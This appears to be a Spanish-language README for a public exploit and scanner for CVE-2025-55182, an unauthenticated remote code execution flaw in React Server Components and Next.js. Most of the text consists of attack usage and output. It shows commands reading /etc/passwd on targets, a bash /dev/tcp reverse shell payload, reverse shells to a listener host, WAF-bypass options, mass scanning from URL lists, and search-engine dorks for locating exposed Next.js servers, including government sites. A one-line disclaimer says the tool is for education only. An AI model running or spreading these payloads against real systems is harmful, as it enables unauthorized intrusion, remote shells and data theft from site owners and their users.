
CVE-2025-55182 vulnerabilidad RCE en servidores Next.js/React RSC (exploit y scanner)
Esta herramienta está diseñada para investigadores de seguridad y testers de penetración para detectar y explotar la vulnerabilidad CVE-2025-55182 en aplicaciones Next.js/React RSC. Proporciona múltiples modos de escaneo, funcionalidades de explotación y técnicas de bypass de WAF.
rce, safe y vercel_bypass.| Categoría | Información |
|---|---|
| Publicada | 2025-12-03 |
| Puntuación Base | 10.0 (CRÍTICA) |
| Investigador | Lachlan Davidson (https://github.com/lachlan2k) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Descripción | Una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en React Server Components. Las aplicaciones que utilizan el runtime del lado servidor de React, incluidos frameworks como Next.js, están afectadas. El problema es causado por una deserialización insegura de datos del protocolo “Flight” no confiables, lo que permite a un atacante lograr la ejecución de código sin autenticación en el servidor. Se requiere actualizar a las versiones corregidas de React y del framework. |
| Puntuación EPSS | 27.81% (Probabilidad de explotación) |
| Catálogo CISA KEV | Listado: Sí, Ransomware: Desconocido |
| HackerOne Hacktivity | Ranking: 1, Informes: 92 |
| Prioridad de Parcheo | A+ |
Esta vulnerabilidad afecta las siguientes versiones de React Server Components:
Los siguientes paquetes también están afectados:
react-server-dom-parcelreact-server-dom-turbopackreact-server-dom-webpackgit clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182
python3 -m venv venv-55182 source venv-55182/bin/activate
pip install -r requirements.txt
## uso```bash
❯ python3 CVE-2025-55182.py -h
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
[-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]
Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications
options:
-h, --help show this help message and exit
-u, --url URL Single URL to scan or exploit.
-f, --file FILE File containing a list of URLs to scan/exploit.
Exploitation Options:
-c, --command COMMAND Command to execute on the target(s).
-p, --payloads PAYLOAD Custom payload to execute on the target(s). Can be a string or a
file path.
-r, --reverse-shell LHOST:LPORT Attempt a reverse shell.
Scanning Options:
-sm, --scan-mode MODE Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
rce)
-wb, --waf-bypass Add junk data to the request to bypass WAFs.
-wbs, --waf-bypass-size KB Size of junk data in KB (default: 128).
-wbu, --waf-bypass-utf16le Use UTF-16LE encoding to bypass WAFs.
General Options:
-o, --output FILE File to save vulnerable URLs from scans.
-t, --threads NUM Number of concurrent threads (default: 10).
-T, --timeout SEC Request timeout in seconds (default: 10).
-P, --proxy URL Proxy to use (e.g., http://127.0.0.1:8080).
-H, --header HEADER Add custom headers (e.g., 'Cookie: session=...').
-v, --verbose Enable verbose output for success/failed/non-vulnerable checks.
rce (predeterminado): Modo de escaneo activo, ejecuta un comando echo para confirmar la vulnerabilidad. Este es el método más fiable, pero puede dejar registros en el sistema objetivo.safe: Modo de escaneo de canal lateral, no ejecuta comandos. Comprueba un mensaje de error específico (E{"digest") para determinar si el objetivo es vulnerable. Esto es más seguro que el modo rce, pero puede ser menos fiable.vercel_bypass: Utiliza un payload específico para eludir el WAF de Vercel y verifica la salida del comando en la cabecera X-Action-Redirect.crédito @coffinxp7
python3 CVE-2025-55182.py -u http://target.com
safe mode and 20 threadspython3 CVE-2025-55182.py -f urls.txt -sm safe -t 20
python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt
### Explotación```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"
# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb
# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh
# Get a reverse shell (linux default reverse shell)
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444
# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh
# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows
# Intercept in Burpsuite
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080
$ python3 CVE-2025-55182.py -u http://target.com
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\[_____ \ / _____/| |__ ____ | | | |
| _// __ \__ \ _/ ___ __\/ ____/ \_____ \ | | \/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___\| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com (Mode: rce)
$ python3 CVE-2025-55182.py -u http://target.com -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com - Status: 500 (Mode: rce) (OS: Linux, Web Server: nginx/1.29.3)
Target Information:
Detected OS: Linux
Server Software: next.js
Content Type: text/html; charset=utf-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Response snippet:
HTTP/1.1 500 Internal Server Error
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4615
Connection: keep-alive
X-Powered-By: Next.js
ETag: W/"1207-I2098797987"
Vary: RSC, Next-Router-State-Tree
$ python3 CVE-2025-55182.py -u http://target.com -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[-] NOT VULNERABLE: https://tryhackme.com
[*] Verbose output for https://tryhackme.com:
Target Information:
Detected OS: Unknown
Server Software: cloudflare
Content Type: text/html; charset=UTF-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Status Code: 500
Response Headers:
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 4615
Connection: keep-alive
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Referrer-Policy: same-origin
X-Frame-Options: SAMEORIGIN
Server: cloudflare
CF-RAY: 9a9e5d42b96204be-HKG
Response Body (first 500 chars):
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<title>Worker threw exception | tryhackme.com | Cloudflare</title>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv
$ python3 CVE-2025-55182.py -u http://target.com -c "whoami && echo "" && cat /etc/passwd"
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: https://target.com with command: whoami && echo "" && cat /etc/passwd
[+] COMMAND EXECUTED SUCCESSFULLY - Status: 500
----------------------------------------
nextjs
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
----------------------------------------
$ python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://target.com
[*] Detected OS: Linux
[*] Using Linux (bash) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
$ python3 CVE-2025-55182.py -u http://windows-target.com -r 10.10.10.1:4444 -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://windows-target.com
[*] Detected OS: Windows
[*] Using Windows (powershell) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
❯ python3 CVE-2025-55182.py -u http://target.com/apps -c "id && ls -al" -wbu
__________ __ ________ . . .
___ \ ____ _____ / |_ \ / /| | ____ | | | |
| // __ \ \ / \ / / _ \ | | _/ __ | | | |
| | \ / / __ \ _| | / \ / | Y \ /| || |
|| /_ > /___ >| _____ /_______ /|| /_ >_/__/
/ / / / / / / /
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit

### Error de red```bash
python3 CVE-2025-55182.py -u http://target.com:3000 -c "id" -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: http://target.com:3000 with command: id
[-] FAILED TO EXECUTE COMMAND
[*] Verbose output for http://target.com:3000:
Status Code: -1
Response Headers:
(No headers received)
Response Body (first 200 chars):
An error occurred: HTTPConnectionPool(host='target.com', port=3000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f846d6caa50>, 'Co
La herramienta incluye cargas útiles de shell inversa predefinidas para Linux y Windows.
linux_revshell.sh: Shell inversa de Bash.windows_revshell.ps1: Shell inversa de PowerShell.http.component:"next.js"http.favicon.hash:-1766382332 (favicon de Vercel)"x-powered-by: Next.js"((Next.js) and services.software.product="Next.js") and services.port=3000services.http.response.body: "_next/static"host.services.endpoints.http.headers:(key:"Vary" and value:"RSC, Next-Router-State-Tree")inurl:"/_next/static"intitle:"Next.js"site:com intitle:"Next.js"inurl:.com ("Next.js" OR "React")site:com ("Next.js" OR "_next/static")site:gov.cc ("Next.js" OR "React")site:com ("/_next/static" OR "/static/js")site:com ("React error" OR "Next.js error")header:"x-powered-by: Next.js"app:"Next.js"http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"vul.cve="CVE-2025-55182"app="NEXT.JS" || app="React.js"Esta herramienta está destinada únicamente a fines educativos y de investigación. No la utilice en ningún sistema sin permiso explícito. El autor no se hace responsable de ningún daño causado por el uso de esta herramienta.
Las PR son bienvenidas :)